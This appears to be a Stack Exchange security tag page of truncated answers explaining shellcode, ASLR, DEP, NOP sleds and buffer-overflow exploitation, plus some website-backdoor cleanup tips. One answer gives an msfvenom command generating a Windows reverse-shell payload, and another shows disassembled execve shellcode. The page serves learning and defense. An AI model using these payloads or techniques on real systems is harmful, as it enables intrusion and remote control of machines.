149

Address Space Layout Randomisation (ASLR) is a technology used to help prevent shellcode from being successful. It does this by randomly offsetting the location of modules and certain in-memory structures. Data Execution Prevention (DEP) prevents certain memory sectors, e.g. the stack, from being executed. When combined it becomes exceedingly difficult to ...


49

So let me preface this with "I'm not implying you're a child" Often when I teach kids about CIS and they hear what I do for a living, the first question is "How do I hack?" I'll tell you the same thing I tell them. Hacking isn't a thing you learn as much as it is the result of years of experience in a series of topics that relate to security. Often you'...


39

To complement @Polynomial's self-answer: DEP can actually be enforced on older x86 machines (which predate the NX bit), but at a price. The easy but limited way to do DEP on old x86 hardware is to use segment registers. With current operating systems on such systems, addresses are 32-bit values in a flat 4 GB address space, but internally each memory access ...


39

TL;DR This is a way to execute shellcode which no longer works. What is a function? Shellcode is just machine code in places where it is not normally found, such as a variable of type char. In C, there's no distinction between functions and variables. A function is just a variable that points to executable code. This means that, if you create a variable ...


32

The Linux kernel can be viewed as a kind of ultimate shell code, since it is "injected" on a raw machine (which only has the BIOS code at that point) and then provides a lot of functionality. That kernel is written in C. If you write shell code in C or C++, you will run into trouble with library calls and linking, which are two facets of the same issue. ...


23

I would enable auditd to monitor changes to the files you expect to be backdoored. You will be able to determine which account and process that is responsible for doing these changes. After installing auditd (not installed pr default on all systems), you can start monitoring changes in files. To do this, simply run the command: auditctl -w /var/www -p wa ...


20

I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80) [----------------------------------registers-----------------------------------] EAX: 0x5655700b --> 0xde3050f7 EBX: 0x5655550c (<main+35>: mov eax,0x0) ...


19

It is perfectly valid to write shellcode in any language that gets compiled down to machine code instructions. Provided no external libraries that are not linked by the victim program are required for its operation. However, it is almost never the case that directly compiled code (even from just C) is a valid, injectable shellcode. The most common reason ...


18

It certainly does. gdb will not isolate the process at all and will merely give you some control over it to understand what it does. To do that kind of analysis, you should resort to a fully isolated system such as a VM with no network access. Break points will be respected, but you should always account for human errors which can have drastic ...


15

In assembly code, NOP is short for No OPeration. This is most popularly known for x86 chips as 0x90. When a processor loads that instruction, it simply does nothing (at least useful) for the one cycle and then advances the register to the next instruction. NOPs keep the payload sizes consistent ... by ensuring that any space not used by other code will ...


13

"Leaky Pointers" or more commonly known as "Dangling Pointers" is useful to create an attack chain to bypass a layered security system. The idea behind DEP is that you are making regions of memory non-executable, such that shellcode in this area cannot be executed. DEP alone is really easy to bypass, you can just ret-to-lib, and call any function you ...


13

There are two "unknowns" that the attacker has to contend with. First, the attacker is overflowing a buffer, supposedly on the stack, and among the bytes which follow the buffer in RAM are the bytes which store the "return address" where execution jumps after the current function is finished. The attacker wants to overwrite these bytes with another address, ...


13

The NX bit is a feature of the Memory Management Unit of some CPU (including recent enough x86). It allows to mark each memory page as being "allowed" or "disallowed" for code execution. The MMU is under control of the kernel; the kernel code decides which pages get the execution privilege and which do not. Therefore, whether the stack space is protected ...


11

When exploiting an application, the payload is the code that the attacker actually wants to execute. It's the part that not just serves the purpose of leveraging the vulnerability itself, but does whatever the attacker considers useful. When choosing a payload, an attacker typically wants code that starts them a shell. A shell is the program you interact ...


11

Reverse engineering is fun. I use IDA once every other week, so I am not an expert in the field but do it often enough. If you want to understand reverse engineering you need to know how to engineer first. If you do it professionally you are spending your time in Windows land. So to get good at that learn some Windows internals, code some projects in C# ...


10

You don't always have to overwrite the return address in order to exploit a stack based buffer overflow (also has a great diagram of the stack layout). With a stack based buffer overflow you can corrupt other variables declared in the local scope of the function which can produce interesting results. For instance lets say there is an authentication ...


10

It's not clear what you're asking, but a researcher likely analysed the Javascript code line by line. In doing so they saw the string "WinNT" and "Firefox", which is who the Javascript is targeting. Linux VMs, exe analysis tools are anecdotal and don't focus on the core target: Windows machines running Firefox with ToR. The Firefox version must be old ...


10

There's been four top-notch analyses so far regarding incident with the free files (40 percent of what is claimed to be released). Nobody has the password to the auction files yet, which represent another 60 percent of what the Shadow Brokers say will be released: https://lawfareblog.com/very-bad-monday-nsa-0 https://musalbas.com/2016/08/16/equation-group-...


9

I originally posted this as a comment, but I think this could do with a little explanation. From my experience with website takeover scenarios, when a shell is uploaded to a website, the hacker either manages to exploit a vulnerability in the server, gain root access, backdoor your SSH and compromise all other sites on the server, or he simply doesn't ...


8

You do not call functions inside the kernel. The kernel resides in another privilege level; its memory pages are not accessible from normal code. To jump into kernel code, application code performs a system call which entails using a specific doorway which handles the temporary privilege escalation. On a 32-bit x86 system running Linux, this is done with int ...


8

If you are stepping through one instruction at a time, and the segfault occurs immediately upon jumping (and not when hitting some potentially broken shellcode at the end of the NOP sled, which could also cause a segfault), and you are certain that the address is correct, points to valid memory and that your NOP sled itself isn't broken, then yes it seems ...


8

Vulnerable programs need to listen to ports in order to access them over the network directly. But, you could gain access to the system through other means then exploit a vulnerable program that does not access the network (e.g. email malware that triggers a vulnerability in a PDF reader) Knowing how the vulnerable program behaves predictably is the key to ...


8

using ndisasm, the data in the sh array can be disassembled into the following valid 64bit x86-machinecode: 00000000 EB0B jmp short 0xd 00000002 5F pop rdi 00000003 4831D2 xor rdx,rdx 00000006 52 push rdx 00000007 5E pop rsi 00000008 6A3B push byte +0x3b 0000000A 58 ...


7

SafeSEH is a mechanism that protects stack-based exception handler chains from being overwritten. However, on x64 and Itanium architectures, the exception handlers are table-based (i.e. stored in PDATA) and therefore cannot be overwritten directly by a stack buffer overflow - they're simply not on the stack. As such, SafeSEH is irrelevant to those systems.


7

The msfvenom -s or generate command is useful for individual payload sizes. Sometimes you will want to know all the payloads within a certain payload size constraint. For example if you are developing an exploit, you know you have limited space to carry a payload of say 100 bytes and you want to know all the payloads that are less than or equal to 100 bytes, ...


7

I've had a very similar thing happen to a site I manage. After much frustration of deleting the malicious code and then it appearing about 2 weeks later, I discovered this: I took note of the date stamp of when all the files got modified, then I looked up the access log for that minute. I saw a certain page was requested that seemed suspicious, since it was ...


7

Use the following setting in your apache config or in a .htaccess file: php_flag engine off See also Disable PHP in directory (including all sub-directories) with .htaccess.


6

If you are running this from the command line, and you are using the < to feed the shellcode from a file, the shell will immediately terminate when it reaches the end of input. If you want it to remain keyboard interactive, do this: cat shellcode.hex - | ./vulnerable_program The - is stdin (keyboard input in this case), so you can type as you wish ...


6

In the proposed example, the program is executing a nop sled consisting of \x90. After this nop sled executes, it does not return to main, and therefore crashes with a Segmentation fault. Consider learning more assembler, and most importantly, use GDB to debug segmentation faults.


6

You are using a wrong switch. This should work, tried and tested during OSCP training: root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting ...


Only top voted, non community-wiki answers of a minimum length are eligible